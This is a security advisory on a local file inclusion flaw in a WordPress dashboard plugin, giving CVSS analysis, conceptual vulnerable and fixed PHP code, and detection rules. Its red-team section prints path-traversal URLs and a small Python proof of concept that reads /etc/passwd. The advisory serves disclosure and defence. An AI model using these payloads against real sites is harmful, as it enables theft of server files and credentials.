CVE-2025-31014

Executive Summary

CVE-2025-31014 is a PHP Local File Inclusion (LFI) vulnerability discovered in the Material Dashboard WordPress plugin by Hossein, affecting versions up to and including 1.4.5. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading configuration files, source code, or system files like /etc/passwd. The CVSS score is 7.5 (High), with a network attack vector and no authentication required. No public exploit code or patch is currently available, making this a high-priority unpatched risk for any WordPress site using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a supply chain risk, any site that has installed the Material Dashboard plugin (versions <= 1.4.5) is directly impacted. Since no patch exists, site administrators must consider removing or disabling the plugin until a fix is released. The lack of a patch from the vendor (Hossein) increases the risk of zero-day exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – No file modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The combination of no authentication, low complexity, and high confidentiality impact makes this a critical risk for any exposed WordPress site.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) arising from the include or require statement in PHP. The plugin likely uses a user-controllable parameter (e.g., page, file, template) to dynamically include a PHP file. Without proper sanitization, an attacker can supply a path traversal sequence (e.g., ../../../../etc/passwd) to include arbitrary files.

Root Cause: The plugin fails to validate or sanitize the filename parameter before passing it to include() or require(). This allows an attacker to break out of the intended directory and read any file on the server.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., ?page=something).
2. Attacker crafts a request with a path traversal payload: ?page=../../../../etc/passwd%00 (null byte injection may be needed for older PHP versions) or simply ?page=../../../../etc/passwd.
3. The PHP include() statement processes the path, reading the target file.
4. If the file contains PHP code, it may be executed; otherwise, the file content is displayed.

Impact: An attacker can read:

• WordPress configuration files (wp-config.php) containing database credentials.
• System files (/etc/passwd, /etc/shadow).
• Source code of other plugins/themes.
• Log files that may contain sensitive data.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

<?php
$page = $_GET['page'];
include("pages/" . $page . ".php");
?>

Patched Code (Conceptual):

<?php
$page = $_GET['page'];
$allowed_pages = array('home', 'about', 'contact');
if (in_array($page, $allowed_pages)) {
    include("pages/" . $page . ".php");
} else {
    // Handle error
}
?>

The patched version uses a whitelist of allowed values, preventing any path traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Material Dashboard plugin <= 1.4.5.
• Knowledge of the vulnerable parameter (likely page, file, or template).

Exploitation Steps:

1. Identify the vulnerable parameter: Use a web fuzzer (e.g., Burp Suite, ffuf) to test common parameters like page, file, include, template.
2. Craft the payload: Use path traversal to read sensitive files.
   • Example: http://target.com/?page=../../../../etc/passwd
   • Example with null byte (for older PHP): http://target.com/?page=../../../../etc/passwd%00
3. Execute: Send the request. If successful, the file content will be displayed in the response.

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://target.com"
vuln_param = "page"
payload = "../../../../etc/passwd"

url = f"{target}/?{vuln_param}={payload}"
response = requests.get(url)

if "root:" in response.text:
    print("[+] LFI successful! File content:")
    print(response.text)
else:
    print("[-] LFI failed.")

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
• Look for requests to the vulnerable plugin endpoint with suspicious parameters.
• Use WAF rules to block path traversal sequences.

Defense:

• Immediately disable or remove the Material Dashboard plugin until a patch is available.
• Implement a Web Application Firewall (WAF) with rules to block LFI attempts.
• Apply the principle of least privilege to the web server user.
• Use PHP open_basedir restriction to limit file access.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests containing ../ or %2e%2e%2f in query parameters.
  • Requests to /?page=../../../../etc/passwd or similar patterns.
  • Unusual file paths in the request URI (e.g., /etc/passwd, /wp-config.php).

• File System IOCs:

  • Unexpected inclusion of system files in web server logs.
  • Presence of /etc/passwd or other sensitive files in web responses.

• Log IOCs:

  • Web server access logs showing 404 or 200 responses for path traversal attempts.
  • PHP error logs showing include() failures for non-existent files.

Detection Engineering

YARA Rule

rule CVE_2025_31014_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting CVE-2025-31014 in Material Dashboard plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31014"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $sensitive_file = /(etc\/passwd|wp-config\.php|\.env|config\.php)/
    condition:
        $path_traversal and $sensitive_file
}

Sigma Rule

title: CVE-2025-31014 LFI Attempt
id: 8f9a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects path traversal attempts targeting Material Dashboard plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-31014 LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"../"; http_uri; content:"/etc/passwd"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and remove the Material Dashboard plugin from all WordPress installations.
2. Apply virtual patching: Use a WAF to block requests containing path traversal sequences (e.g., ../, %2e%2e%2f).
3. Monitor logs: Review web server and PHP error logs for signs of exploitation.

Long-term Fix:

• Wait for the vendor (Hossein) to release a patched version. Until then, do not use the plugin.
• If you must use the plugin, consider forking it and implementing proper input validation (whitelist approach).

Workaround:

• Modify the plugin code to use a whitelist of allowed files or use realpath() to resolve the path and ensure it stays within the intended directory.

Valters IT
Securing Digital Frontiers